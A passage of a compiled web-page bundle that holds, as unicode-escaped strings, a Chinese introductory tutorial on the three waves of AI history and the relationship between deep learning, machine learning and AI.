e5\u673a\u2014\u2014\u5c31\u662f\u5728\u8fd9\u4e2a\u65f6\u95f4\u6bb5\u8bde\u751f\u7684\u3002\u611f\u77e5\u673a\u662f\u673a\u5668\u5b66\u4e60\u4eba\u5de5\u795e\u7ecf\u7f51\u7edc\u7406\u8bba\u4e2d\u795e\u7ecf\u5143\u7684\u6700\u65e9\u6a21\u578b\uff0c\u8fd9\u4e00\u6a21\u578b\u4e5f\u4f7f\u5f97\u4eba\u5de5\u795e\u7ecf\u7f51\u7edc\u7406\u8bba\u5f97\u5230\u4e86\u5de8\u5927\u7684\u7a81\u7834\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5f3a\u5316\u5b66\u4e60\u7684\u96cf\u5f62\u4e5f\u662f\u5728\u90a3\u6bb5\u65f6\u95f4\u63d0\u51fa\u7684\u3002\u5f7c\u65f6\u7684\u79d1\u5b66\u754c\u90fd\u5f25\u6f2b\u7740\u5feb\u4e50\u7684\u6c14\u6c1b\uff0c\u5927\u5bb6\u90fd\u8ba4\u4e3a\uff0c\u53ea\u8981\u575a\u6301\u8d70\u4e0b\u53bb\uff0c\u4eba\u5de5\u667a\u80fd\u5c31\u4e00\u5b9a\u4f1a\u5f97\u5230\u8de8\u8d8a\u5f0f\u7684\u53d1\u5c55\u3002\u4f46\u4e8b\u4e0e\u613f\u8fdd\uff0c\u4e0d\u4e45\u540e\u4eba\u5de5\u667a\u80fd\u7684\u7b2c\u4e00\u6b21\u5bd2\u51ac\uff08AI Winter\uff09\u5c31\u5230\u6765\u4e86\u3002"}),"\n",(0,t.jsx)(n.p,{children:"1966\u5e74\u524d\u540e\uff0cAI\u906d\u9047\u4e86\u74f6\u9888\u3002\u4eba\u4eec\u53d1\u73b0\u903b\u8f91\u8bc1\u660e\u5668\u3001\u611f\u77e5\u5668\u3001\u5f3a\u5316\u5b66\u4e60\u7b49\u7b49\u53ea\u80fd\u505a\u5f88\u7b80\u5355\u3001\u975e\u5e38\u4e13\u95e8\u4e14\u5f88\u7a84\u7684\u4efb\u52a1\uff0c\u7a0d\u5fae\u8d85\u51fa\u8303\u56f4\u5c31\u65e0\u6cd5\u5e94\u5bf9\u3002\u5f53\u65f6\u7684\u8ba1\u7b97\u673a\u6709\u9650\u7684\u5185\u5b58\u548c\u5904\u7406\u901f\u5ea6\u4e0d\u8db3\u4ee5\u89e3\u51b3\u4efb\u4f55\u5b9e\u9645\u7684AI\u95ee\u9898\u3002\u7814\u7a76\u8005\u4eec\u5f88\u5feb\u5c31\u610f\u8bc6\u5230\uff0c\u8981\u6c42\u7a0b\u5e8f\u5bf9\u8fd9\u4e2a\u4e16\u754c\u5177\u6709\u513f\u7ae5\u6c34\u5e73\u7684\u8ba4\u8bc6\u8fd9\u4e2a\u8981\u6c42\u90fd\u592a\u9ad8\u4e86\u2014\u2014\u90a3\u65f6\u6ca1\u4eba\u80fd\u591f\u505a\u51fa\u4eba\u5de5\u667a\u80fd\u9700\u8981\u7684\u5de8\u5927\u6570\u636e\u5e93\uff0c\u4e5f\u6ca1\u4eba\u77e5\u9053\u4e00\u4e2a\u7a0b\u5e8f\u600e\u6837\u624d\u80fd\u5b66\u5230\u5982\u6b64\u4e30\u5bcc\u7684\u4fe1\u606f\u3002\u53e6\u4e00\u65b9\u9762\uff0c\u6709\u5f88\u591a\u8ba1\u7b97\u590d\u6742\u5ea6\u4ee5\u6307\u6570\u7a0b\u5ea6\u589e\u52a0\uff0c\u8fd9\u6210\u4e3a\u4e86\u4e0d\u53ef\u80fd\u5b8c\u6210\u7684\u8ba1\u7b97\u4efb\u52a1\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u53ef\u4ee5\u8bf4\uff0c\u4eba\u5de5\u667a\u80fd\u7684\u7b2c\u4e00\u6b21\u6d6a\u6f6e\u5728\u53d1\u5c55\u5230\u201c\u975e\u667a\u80fd\u5bf9\u8bdd\u673a\u5668\u201d\u7684\u667a\u80fd\u5316\u521d\u7ea7\u9636\u6bb5\u65f6\uff0c\u5c31\u56e0\u4e3a\u5f53\u65f6\u7684\u6280\u672f\u9650\u5236\u4e0d\u5f97\u4e0d\u505c\u6446\u3002\u4eba\u5de5\u667a\u80fd\u7684\u53d1\u5c55\u4f3c\u4e4e\u9677\u5165\u4e86\u4e00\u4e2a\u65e0\u89e3\u7684\u201c\u6b7b\u80e1\u540c\u201d\u91cc\uff0c\u5e76\u88ab\u8ba1\u7b97\u673a\u79d1\u5b66\u5bb6\u4eec\u9010\u6e10\u51b7\u843d\u3002"}),"\n",(0,t.jsx)(n.h3,{id:"112-\u7b2c\u4e8c\u6b21\u6d6a\u6f6e",children:"1.1.2 \u7b2c\u4e8c\u6b21\u6d6a\u6f6e"}),"\n",(0,t.jsx)(n.p,{children:"\u65f6\u95f4\u6765\u5230\u4e8620\u4e16\u7eaa80\u5e74\u4ee3\u3002\u7ecf\u8fc7\u4e86\u6570\u5341\u5e74\u7684\u7814\u7a76\uff0c\u79d1\u5b66\u5bb6\u4eec\u9010\u6e10\u653e\u5f03\u4e86\u521d\u4ee3\u7684\u7b26\u53f7\u5b66\u6d3e\u601d\u8def\uff0c\u6539\u7528\u7edf\u8ba1\u5b66\u7684\u601d\u8def\u6765\u7814\u7a76\u4eba\u5de5\u667a\u80fd\u3002\u7814\u7a76\u601d\u8def\u7684\u6539\u53d8\u518d\u52a0\u4e0a\u786c\u4ef6\u6280\u672f\u7684\u5347\u7ea7\uff0c\u4eba\u5de5\u667a\u80fd\u7684\u53d1\u5c55\u53c8\u4e00\u6b21\u8fce\u6765\u7684\u65b0\u7684\u5951\u673a\u3002\u5728\u90a3\u4e2a\u65f6\u4ee3\uff0c\u57fa\u4e8e\u4eba\u5de5\u667a\u80fd\u7684\u201c\u4e13\u5bb6\u7cfb\u7edf\u201d\u53d7\u5230\u4e86\u7edd\u5bf9\u7684\u70ed\u6367\u3002\u7279\u5b9a\u9886\u57df\u7684\u201c\u4e13\u5bb6\u7cfb\u7edf\u201d\u7a0b\u5e8f\u88ab\u66f4\u5e7f\u6cdb\u7684\u91c7\u7eb3\uff0c\u8be5\u7cfb\u7edf\u80fd\u591f\u6839\u636e\u9886\u57df\u5185\u7684\u4e13\u4e1a\u77e5\u8bc6\uff0c\u63a8\u7406\u51fa\u4e13\u4e1a\u95ee\u9898\u7684\u7b54\u6848\uff0c\u4eba\u5de5\u667a\u80fd\u4e5f\u7531\u6b64\u53d8\u5f97\u66f4\u52a0\u201c\u5b9e\u7528\u201d\uff0c\u4e13\u5bb6\u7cfb\u7edf\u6240\u4f9d\u8d56\u7684\u77e5\u8bc6\u5e93\u7cfb\u7edf\u548c\u77e5\u8bc6\u5de5\u7a0b\u6210\u4e3a\u4e86\u5f53\u65f6\u4e3b\u8981\u7684\u7814\u7a76\u65b9\u5411\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u4f46\u7531\u4e8e\u4e13\u5bb6\u7cfb\u7edf\u4ec5\u9002\u7528\u4e8e\u67d0\u4e9b\u7279\u5b9a\u573a\u666f\uff0c\u5f88\u5feb\u4eba\u4eec\u5c31\u5bf9\u8fd9\u4e00\u7cfb\u7edf\u7531\u72c2\u70ed\u7684\u8ffd\u6367\u9010\u6e10\u8d70\u5411\u5de8\u5927\u7684\u5931\u671b\u3002\u4e0e\u6b64\u540c\u65f6\uff0c\u73b0\u4ee3\u7535\u5b50\u8ba1\u7b97\u673a\u7684\u51fa\u73b0\u8ba9\u201c\u77e5\u8bc6\u67e5\u8be2\u201d\u7684\u8d39\u7528\u8fdb\u4e00\u6b65\u964d\u4f4e\uff0c\u4eba\u4eec\u66f4\u52a0\u6df1\u523b\u7684\u610f\u8bc6\u5230\u4e13\u5bb6\u7cfb\u7edf\u662f\u5982\u6b64\u7684\u53e4\u8001\u9648\u65e7\u3002\u56e0\u6b64\uff0c\u653f\u5e9c\u90e8\u95e8\u4e0b\u8c03\u4e86\u4e13\u5bb6\u7cfb\u7edf\u7684\u7814\u53d1\u8d44\u91d1\u3002\u7f3a\u5c11\u4e86\u8d44\u91d1\u7684\u652f\u6301\uff0c\u7531\u4e13\u5bb6\u7cfb\u7edf\u518d\u6b21\u5174\u8d77\u7684\u4eba\u5de5\u667a\u80fd\u7814\u7a76\u53c8\u4e00\u6b21\u9677\u5165\u4e86\u4f4e\u8c37\u4e4b\u4e2d\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u867d\u7136\u7b2c\u4e8c\u6b21\u6d6a\u6f6e\u6301\u7eed\u7684\u65f6\u95f4\u6bd4\u8f83\u77ed\uff0c\u4f46\u5b83\u5728\u6574\u4e2a\u4eba\u5de5\u667a\u80fd\u53d1\u5c55\u5386\u53f2\u4e2d\u4ecd\u7136\u8d77\u5230\u4e86\u4e3e\u8db3\u8f7b\u91cd\u7684\u4f5c\u7528\u3002\u5b83\u5f7b\u5e95\u6539\u53d8\u4e86\u4eba\u5de5\u667a\u80fd\u7814\u7a76\u7684\u5927\u601d\u8def\uff0c\u5c06\u7edf\u8ba1\u5b66\u601d\u60f3\u5f15\u5165\u7814\u7a76\u4e4b\u4e2d\uff0c\u4e3a\u4eba\u5de5\u667a\u80fd\u5728\u672a\u6765\u51e0\u5341\u5e74\u7684\u53d1\u5c55\u6253\u4e0b\u4e86\u57fa\u7840\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5728\u8fd9\u6b21\u6d6a\u6f6e\u4e2d\u63d0\u51fa\u7684BP\u795e\u7ecf\u7f51\u7edc\uff0c\u4e3a\u4e4b\u540e\u673a\u5668\u611f\u77e5\u3001\u4ea4\u4e92\u7684\u80fd\u529b\u5960\u5b9a\u4e86\u57fa\u7840\u3002"}),"\n",(0,t.jsx)(n.h3,{id:"113-\u7b2c\u4e09\u6b21\u6d6a\u6f6e",children:"1.1.3 \u7b2c\u4e09\u6b21\u6d6a\u6f6e"}),"\n",(0,t.jsx)(n.p,{children:"1993\u5e74\u540e\uff0c\u65b0\u7684\u6570\u5b66\u5de5\u5177\uff0c\u7406\u8bba\u548c\u6469\u5c14\u5b9a\u5f8b\u7684\u51fa\u73b0\uff0c\u4f7f\u5f97\u8ba1\u7b97\u673a\u7684\u7b97\u529b\u8fdb\u4e00\u6b65\u63d0\u9ad8\uff0c\u4ee5\u6df1\u5ea6\u5b66\u4e60\u4e3a\u6838\u5fc3\u7684\u673a\u5668\u5b66\u4e60\u7b97\u6cd5\u83b7\u5f97\u53d1\u5c55\uff0c\u65b0\u7684\u82af\u7247\u548c\u4e91\u8ba1\u7b97\u7684\u53d1\u5c55\u4f7f\u5f97\u53ef\u7528\u7684\u8ba1\u7b97\u80fd\u529b\u83b7\u5f97\u98de\u8dc3\u5f0f\u63d0\u9ad8\uff0c\u5927\u6570\u636e\u7684\u53d1\u5c55\u4f7f\u5f97\u6d77\u91cf\u6570\u636e\u7684\u50a8\u5b58\u548c\u5206\u6790\u6210\u4e3a\u53ef\u80fd\u3002\u5728\u8fd9\u6837\u7684\u6280\u672f\u80cc\u666f\u4e0b\uff0c\u4eba\u5de5\u667a\u80fd\u7684\u7b2c\u4e09\u6b21\u6d6a\u6f6e\u5373\u5c06\u5230\u6765\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u4eba\u5de5\u667a\u80fd\u7684\u7b2c\u4e09\u6b21\u6d6a\u6f6e\u6709\u4e24\u4e2a\u91cd\u8981\u7684\u65f6\u95f4\u8282\u70b9\uff1a2006\u5e74\u548c2016\u5e74\u30022006\u5e74\u662f\u6df1\u5ea6\u5b66\u4e60\u53d1\u5c55\u53f2\u7684\u5206\u6c34\u5cad\u3002\u6770\u5f17\u91cc\u8f9b\u987f\u5728\u8fd9\u4e00\u5e74\u53d1\u8868\u4e86\u300a\u4e00\u79cd\u6df1\u5ea6\u7f6e\u4fe1\u7f51\u7edc\u7684\u5feb\u901f\u5b66\u4e60\u7b97\u6cd5\u300b\uff0c\u5176\u4ed6\u91cd\u8981\u7684\u6df1\u5ea6\u5b66\u4e60\u5b66\u672f\u6587\u7ae0\u4e5f\u5728\u8fd9\u4e00\u5e74\u88ab\u53d1\u5e03\uff0c\u5728\u57fa\u672c\u7406\u8bba\u5c42\u9762\u53d6\u5f97\u4e86\u82e5\u5e72\u91cd\u5927\u7a81\u7834\u3002\u800c2016\u5e743\u6708\uff0c\u8c37\u6b4cDeepMind\u7814\u53d1\u7684AlphaGo\u5728\u56f4\u68cb\u4eba\u673a\u5927\u6218\u4e2d\u51fb\u8d25\u97e9\u56fd\u804c\u4e1a\u4e5d\u6bb5\u68cb\u624b\u674e\u4e16\u4e6d\uff0c\u201c\u4eba\u5de5\u667a\u80fd\u201d\u4e00\u8bcd\u6b63\u5f0f\u8fdb\u5165\u666e\u901a\u6c11\u4f17\u7684\u89c6\u91ce\u5e76\u88ab\u9010\u6e10\u719f\u77e5\u3002\u81f3\u6b64\uff0c\u4eba\u5de5\u667a\u80fd\u6b63\u5f0f\u8fc8\u5411\u4e86\u4ece\u201c\u79d1\u7814\u9886\u57df\u7684\u5e94\u7528\u578b\u5de5\u5177\u201d\u5230\u201c\u5b9e\u7528\u6027\uff0c\u529f\u80fd\u6027\u5de5\u5177\u201d\u7684\u8f6c\u53d8\uff0c\u4eba\u5de5\u667a\u80fd\u6709\u4e86\u65b0\u7684\u7814\u7a76\u65b9\u5411\u548c\u7814\u7a76\u6a21\u5f0f\uff0c\u5373\u4ece\u8fc7\u53bb\u7684\u5b66\u672f\u4e3b\u5bfc\u578b\u7814\u7a76\u9010\u6e10\u8d70\u5411\u4e86\u5546\u4e1a\u4e3b\u5bfc\u578b\u7814\u7a76\u3002\u968f\u7740\u4eba\u7c7b\u793e\u4f1a\u5bf9\u667a\u80fd\u5316\u5de5\u5177\u7684\u4e0d\u65ad\u8ffd\u6c42\u548c\u63a2\u7d22\uff0c\u4eba\u5de5\u667a\u80fd\u7684\u53d1\u5c55\u8fce\u6765\u4e86\u5168\u65b0\u7684\u65f6\u4ee3\u3002"}),"\n",(0,t.jsx)(n.h3,{id:"114-\u603b\u7ed3",children:"1.1.4 \u603b\u7ed3"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:i(30757).A+"",width:"1072",height:"730"})}),"\n",(0,t.jsx)(n.p,{children:"\u4e0a\u56fe\u662f\u5bf9\u4eba\u5de5\u667a\u80fd\u53d1\u5c55\u4e2d\u7ecf\u5386\u7684\u4e09\u6b21\u6d6a\u6f6e\u548c\u4e24\u6b21\u5bd2\u51ac\u7684\u5f62\u8c61\u603b\u7ed3\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u6709\u89c2\u70b9\u8ba4\u4e3a\uff0c\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u5e26\u6765\u7684\u201c\u6280\u672f\u7ea2\u5229\u201d\uff0c\u5c06\u652f\u6491\u6211\u4eec\u518d\u53d1\u5c555~10\u5e74\u65f6\u95f4\uff0c\u968f\u540e\u5c31\u4f1a\u9047\u5230\u74f6\u9888\u3002\u4eba\u5de5\u667a\u80fd\u4e0d\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u4ece1\u5230100\u8fdb\u6b65\u7684\u8fc7\u7a0b\uff0c\u5b83\u5f80\u5f80\u8d8b\u5411\u4e8e\u4e24\u4e2a\u6781\u7aef\uff1a\u8981\u4e4890\u5206\u4ee5\u4e0a\uff0c\u5176\u5b83\u7684\u90fd\u662f10\u5206\u4ee5\u4e0b\u3002\u76ee\u524d\uff0c\u4eba\u5de5\u667a\u80fd\u6025\u9700\u5bfb\u627e\u5230\u4e00\u4e2a\u201c\u6280\u672f\u5947\u70b9\u201d\uff0c\u8ba9\u4eba\u5de5\u667a\u80fd\u8fc5\u901f\u53d1\u5c55\u5230\u901a\u7528\u4eba\u5de5\u667a\u80fd\u751a\u81f3\u662f\u8d85\u7ea7\u4eba\u5de5\u667a\u80fd\u7684\u6c34\u5e73\u3002\u5426\u5219\uff0c\u5728\u4eba\u5de5\u667a\u80fd\u7814\u7a76\u5546\u4e1a\u5316\u7684\u4eca\u5929\uff0c\u65e0\u6cd5\u4ece\u4e2d\u83b7\u5229\u7684\u6295\u8d44\u4eba\u4eec\u5c06\u5feb\u901f\u64a4\u8d44\u9000\u573a\uff0c\u4eba\u5de5\u667a\u80fd\u6216\u5c06\u8fdb\u5165\u4e0b\u4e00\u4e2a\u5bd2\u51ac\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"12-dlmlai\u4e09\u8005\u4e4b\u95f4\u7684\u5173\u7cfb",children:"1.2 DL,ML,AI\u4e09\u8005\u4e4b\u95f4\u7684\u5173\u7cfb"}),"\n",(0,t.jsx)(n.p,{children:"\u5927\u5bb6\u5bf9\u201c\u4eba\u5de5\u667a\u80fd\u201d\u8fd9\u4e2a\u8bcd\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u6240\u8c13\u7684\u201cAI\u201d\uff08Artificial Intelligence\uff09\u60f3\u5fc5\u662f\u975e\u5e38\u719f\u6089\uff0c\u65e0\u8bba\u662f\u8fd1\u51e0\u5e74\u5404\u884c\u5404\u4e1a\u90fd\u559c\u6b22\u7528\u4f5c\u8425\u9500\u5671\u5934\u7684\u201c\u667a\u80fd\u5316\u201d\u8fd8\u662f\u65e9\u671f\u7535\u5f71\u5982\u300a\u9ed1\u5ba2\u5e1d\u56fd\u300b\u3001\u300a\u7ec8\u7ed3\u8005\u300b\u7b49\uff0c\u90fd\u8ba9AI\u8fd9\u4e2a\u6982\u5ff5\u6df1\u5165\u4eba\u5fc3\u3002\u4f46\u8fd1\u51e0\u5e74\uff0c\u53e6\u5916\u4e24\u4e2a\u8bcd\u8bed\u4e5f\u5728\u9010\u6b65\u8fdb\u5165\u6211\u4eec\u7684\u751f\u6d3b\uff0c\u5373\u5c31\u662f\u201c\u673a\u5668\u5b66\u4e60\uff08Machine Learning\uff0cML\uff09\u201d\u548c\u201c\u6df1\u5ea6\u5b66\u4e60\uff08Deep Learning\uff0cDL\uff09\u201d\u3002\u5728\u63a5\u4e0b\u6765\u7684\u53d9\u8ff0\u4e2d\uff0c\u6211\u4eec\u5c31\u5c06\u4e86\u89e3DL\u548cML\u7a76\u7adf\u662f\u4ec0\u4e48\uff0c\u4ee5\u53ca\u5b83\u4eec\u548cAI\u4e4b\u95f4\u7684\u5173\u7cfb\u3002"}),"\n",(0,t.jsx)(n.h3,{id:"121-dl\u548cml\u662f\u4ec0\u4e48",children:"1.2.1 DL\u548cML\u662f\u4ec0\u4e48"}),"\n",(0,t.jsx)(n.p,{children:"Machine Learning\uff08\u673a\u5668\u5b66\u4e60\uff09\u3002\u5b83\u57281959\u5e74\u88ab\u673a\u5668\u5b66\u4e60\u7684\u5148\u9a71\u8005\u4e4b\u4e00\u7684\u963f\u745f\xb7\u585e\u7f2a\u5c14\u5b9a\u4e49\u4e3a\uff1a\u4e00\u95e8\u7814\u7a76\u9886\u57df\uff0c\u5b83\u8d4b\u4e88\u8ba1\u7b97\u673a\u65e0\u9700\u660e\u786e\u7f16\u7a0b\u5c31\u80fd\u5b66\u4e60\u7684\u80fd\u529b\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u673a\u5668\u5b66\u4e60\u7a0b\u5e8f\u4e0d\u540c\u4e8e\u4f20\u7edf\u7f16\u7a0b\u90a3\u6837\uff0c\u4f7f\u7528if-then\u8bed\u53e5\u90a3\u6837\u660e\u786e\u5730\u8f93\u5165\u5230\u8ba1\u7b97\u673a\u4e2d\u4ee5\u4fbf\u5b83\u6839\u636e\u6761\u4ef6\u6267\u884c\u3002\u5728\u67d0\u79cd\u610f\u4e49\u4e0a\uff0c\u673a\u5668\u5b66\u4e60\u7a0b\u5e8f\u8d4b\u4e88\u673a\u5668\u6839\u636e\u6240\u63a5\u89e6\u5230\u7684\u6570\u636e\u8fdb\u884c\u81ea\u6211\u8c03\u6574\u7684\u80fd\u529b\u3002\u673a\u5668\u5b66\u4e60\u66f4\u50cf\u662f\u4e00\u79cd\u4f18\u5316\u7b97\u6cd5\uff0c\u5982\u679c\u6211\u4eec\u5728\u4e8b\u5148\u5c31\u5bf9\u5b83\u8fdb\u884c\u4e86\u6b63\u786e\u7684\u8c03\u6574\uff0c\u90a3\u4e48\u5b83\u5c31\u4f1a\u5728\u4e00\u904d\u53c8\u4e00\u904d\u7684\u5c1d\u8bd5\u548c\u731c\u6d4b\u4e4b\u4e2d\u4e0d\u65ad\u51cf\u5c11\u5b83\u7684\u9519\u8bef\uff0c\u4ee5\u65e0\u9650\u903c\u8fd1\u4e8e\u6700\u7ec8\u7684\u6b63\u786e\u7ed3\u679c\u3002\u800c\u673a\u5668\u5b66\u4e60\u7684\u57fa\u672c\u601d\u8def\uff0c\u4e5f\u5c31\u662f\u5c06\u73b0\u5b9e\u95ee\u9898\u62bd\u8c61\u6210\u4e3a\u4e00\u4e2a\u6570\u5b66\u95ee\u9898\uff0c\u673a\u5668\u901a\u8fc7\u8bad\u7ec3\uff0c\u5bfb\u627e\u5230\u89e3\u51b3\u6570\u5b66\u95ee\u9898\u7684\u65b9\u6cd5\uff0c\u8fdb\u800c\u89e3\u51b3\u73b0\u5b9e\u95ee\u9898\u3002"}),"\n",(0,t.jsx)(n.p,{children:"Deep Learning\uff08\u6df1\u5ea6\u5b66\u4e60\uff09\u3002\u5b83\u57282006\u5e74\u88ab\u63d0\u51fa\uff0c\u5e76\u5728\u8fd1\u4e9b\u5e74\u5f97\u5230\u4e86\u8fc5\u901f\u7684\u53d1\u5c55\u3002\u5b83\u901a\u8fc7\u5efa\u7acb\u3001\u6a21\u62df\u4eba\u8111\u8fdb\u884c\u5206\u6790\u5b66\u4e60\u7684\u795e\u7ecf\u7f51\u7edc\uff0c\u5e76\u6a21\u4eff\u4eba\u8111\u7684\u673a\u5236\u6765\u89e3\u91ca\u6570\u636e\u3002\u674e\u5f00\u590d\u6559\u6388\u5728\u300a\u4eba\u5de5\u667a\u80fd\u300b\u4e00\u4e66\u4e2d\u8fd9\u6837\u89e3\u91ca\u6df1\u5ea6\u5b66\u4e60\uff1a\u201c\u5047\u8bbe\u6df1\u5ea6\u5b66\u4e60\u8981\u5904\u7406\u7684\u4fe1\u606f\u662f\u201c\u6c34\u6d41\u201d\uff0c\u800c\u5904\u7406\u6570\u636e\u7684\u6df1\u5ea6\u5b66\u4e60\u7f51\u7edc\u662f\u4e00\u4e2a\u7531\u7ba1\u9053\u548c\u9600\u95e8\u7ec4\u6210\u7684\u5de8\u5927\u6c34\u7ba1\u7f51\u7edc\u3002\u7f51\u7edc\u7684\u5165\u53e3\u662f\u82e5\u5e72\u7ba1\u9053\u5f00\u53e3\uff0c\u7f51\u7edc\u7684\u51fa\u53e3\u4e5f\u662f\u82e5\u5e72\u7ba1\u9053\u5f00\u53e3\u3002\u8fd9\u4e2a\u6c34\u7ba1\u7f51\u7edc\u6709\u8bb8\u591a\u5c42\uff0c\u6bcf\u4e00\u5c42\u7531\u8bb8\u591a\u4e2a\u53ef\u4ee5\u63a7\u5236\u6c34\u6d41\u6d41\u5411\u4e0e\u6d41\u91cf\u7684\u8c03\u8282\u9600\u3002\u6839\u636e\u4e0d\u540c\u4efb\u52a1\u7684\u9700\u8981\uff0c\u6c34\u7ba1\u7f51\u7edc\u7684\u5c42\u6570\u3001\u6bcf\u5c42\u7684\u8c03\u8282\u9600\u6570\u91cf\u53ef\u4ee5\u6709\u4e0d\u540c\u7684\u53d8\u5316\u7ec4\u5408\u3002\u5bf9\u590d\u6742\u4efb\u52a1\u6765\u8bf4\uff0c\u8c03\u8282\u9600\u7684\u603b\u6570\u53ef\u4ee5\u6210\u5343\u4e0a\u4e07\u751a\u81f3\u66f4\u591a\u3002\u6c34\u7ba1\u7f51\u7edc\u4e2d\uff0c\u6bcf\u4e00\u5c42\u7684\u6bcf\u4e2a\u8c03\u8282\u9600\u90fd\u901a\u8fc7\u6c34\u7ba1\u4e0e\u4e0b\u4e00\u5c42\u7684\u6240\u6709\u8c03\u8282\u9600\u8fde\u63a5\u8d77\u6765\uff0c\u7ec4\u6210\u4e00\u4e2a\u4ece\u524d\u5230\u540e\uff0c\u9010\u5c42\u5b8c\u5168\u8fde\u901a\u7684\u6c34\u6d41\u7cfb\u7edf\u3002\u201d"}),"\n",(0,t.jsx)(n.h3,{id:"122-\u5b83\u4eec\u548cai\u7684\u5173\u7cfb",children:"1.2.2 \u5b83\u4eec\u548cAI\u7684\u5173\u7cfb"}),"\n",(0,t.jsx)(n.p,{children:"\u4f17\u6240\u5468\u77e5\uff0c\u4eba\u5de5\u667a\u80fd\u662f\u7814\u7a76\u3001\u5f00\u53d1\u7528\u4e8e\u6a21\u62df\u3001\u5ef6\u4f38\u548c\u6269\u5c55\u4eba\u7684\u667a\u80fd\u7684\u7406\u8bba\u3001\u65b9\u6cd5\u3001\u6280\u672f\u53ca\u5e94\u7528\u7cfb\u7edf\u7684\u4e00\u95e8\u6280\u672f\u79d1\u5b66\u3002\u65e2\u7136\u5982\u6b64\uff0c\u90a3\u4e48\u8ba1\u7b97\u5668\u7b97\u662f\u4eba\u5de5\u667a\u80fd\u5417\uff1f\u4e25\u683c\u5730\u8bf4\u662f\u7b97\u7684\uff0c\u56e0\u4e3a\u5b83\u81f3\u5c11\u505a\u4e86\u201c\u6a21\u62df\u201d\u4eba\u5728\u8ba1\u7b97\u65b9\u9762\u7684\u667a\u80fd\uff0c\u5e76\u6269\u5c55\u4e86\u8fd9\u4e2a\u80fd\u529b\uff08\u6bd4\u4eba\u7b97\u5f97\u66f4\u5feb\uff09\u3002\u6211\u4eec\u901a\u8fc7\u4ee3\u7801\u9a71\u52a8\u8ba1\u7b97\u673a\u53bb\u5e2e\u6211\u4eec\u5e72\u6d3b\uff0c\u8fd9\u4e2a\u7b97\u662f\u4eba\u5de5\u667a\u80fd\u5417\uff1f\u4e5f\u7b97\u7684\u3002\u6211\u4eec\u73b0\u5728\u770b\u5230\u7684\u8c8c\u4f3c\u5f88\u9ad8\u7aef\u7684\u6280\u672f\uff0c\u5982\u56fe\u50cf\u8bc6\u522b\u3001NLP\uff0c\u5176\u5b9e\u4f9d\u7136\u6ca1\u6709\u8131\u79bb\u8fd9\u4e2a\u8303\u56f4\uff0c\u8bf4\u767d\u4e86\uff0c\u5c31\u662f\u201c\u6a21\u62df\u4eba\u5728\u770b\u56fe\u65b9\u9762\u7684\u667a\u80fd\u201d\u548c\u201c\u6a21\u62df\u4eba\u5728\u542c\u8bdd\u65b9\u9762\u7684\u667a\u80fd\u201d\uff0c\u672c\u8d28\u4e0a\u548c\u201c\u6a21\u62df\u4eba\u5728\u8ba1\u7b97\u65b9\u9762\u7684\u667a\u80fd\u201d\u6ca1\u5565\u4e24\u6837\uff0c\u867d\u7136\u96be\u5ea6\u6709\u9ad8\u4f4e\uff0c\u4f46\u76ee\u7684\u662f\u4e00\u6837\u7684\u2014\u2014\u6a21\u62df\u3001\u5ef6\u4f38\u548c\u6269\u5c55\u4eba\u7684\u667a\u80fd\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u968f\u7740\u4eba\u5bf9\u8ba1\u7b97\u673a\u7684\u671f\u671b\u8d8a\u6765\u8d8a\u9ad8\uff0c\u8981\u6c42\u5b83\u89e3\u51b3\u7684\u95ee\u9898\u8d8a\u6765\u8d8a\u590d\u6742\uff0c\u4ec5\u4ec5\u7b97\u7684\u66f4\u5feb\uff0c\u770b\u7684\u66f4\u51c6\u5df2\u7ecf\u8fdc\u8fdc\u4e0d\u80fd\u6ee1\u8db3\u4eba\u4eec\u7684\u8bc9\u6c42\u4e86\u3002\u8981\u89e3\u51b3\u7684\u95ee\u9898\u57df\u8d8a\u6765\u8d8a\u590d\u6742\uff0c\u5373\u4f7f\u662f\u540c\u4e00\u4e2a\u95ee\u9898\uff0c\u5176\u9762\u5bf9\u7684\u573a\u666f\u4e5f\u8d8a\u6765\u8d8a\u591a\u3002\u4f20\u7edf\u7684\u601d\u8def\u5c31\u662f\u67e5\u627e\u95ee\u9898\u7684\u6761\u4ef6\u548c\u89e3\u51b3\u65b9\u6cd5\uff0c\u5728\u8ba1\u7b97\u673a\u7a0b\u5e8f\u4e2d\u518d\u52a0\u5165\u4e00\u4e2aif-then\u3002\u4f46\u8fd9\u53ea\u662f\u6cbb\u6807\u4e0d\u6cbb\u672c\u3002\u968f\u7740\u6211\u4eec\u671f\u5f85\u89e3\u51b3\u7684\u95ee\u9898\u8d8a\u6765\u8d8a\u591a\uff0c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u5c06\u8d8a\u6765\u8d8a\u590d\u6742\uff0c\u8d8a\u6765\u8d8a\u96be\u4ee5\u7ef4\u62a4\u3002\u90a3\u600e\u4e48\u529e\u5462\uff1f\u4e8e\u662f\u6709\u4eba\u63d0\u51fa\u4e86\u4e00\u4e2a\u65b0\u7684\u601d\u8def\u2014\u2014\u80fd\u5426\u4e0d\u4e3a\u96be\u7801\u519c\uff0c\u8ba9\u673a\u5668\u81ea\u5df1\u53bb\u5b66\u4e60\u5462\uff1f"}),"\n",(0,t.jsx)(n.p,{children:"\u81f3\u6b64\uff0c\u201c\u673a\u5668\u5b66\u4e60\u201d\u7684\u6982\u5ff5\uff0c\u6b63\u5f0f\u8bde\u751f\u3002\u673a\u5668\u5b66\u4e60\u5c31\u662f\u7528\u7b97\u6cd5\u89e3\u6790\u6570\u636e\uff0c\u4e0d\u65ad\u5b66\u4e60\uff0c\u5bf9\u4e16\u754c\u4e2d\u53d1\u751f\u7684\u4e8b\u505a\u51fa\u5224\u65ad\u548c\u9884\u6d4b\u7684\u4e00\u9879\u6280\u672f\u3002\u7814\u7a76\u4eba\u5458\u4e0d\u4f1a\u4eb2\u624b\u7f16\u5199\u8f6f\u4ef6\u3001\u786e\u5b9a\u7279\u6b8a\u630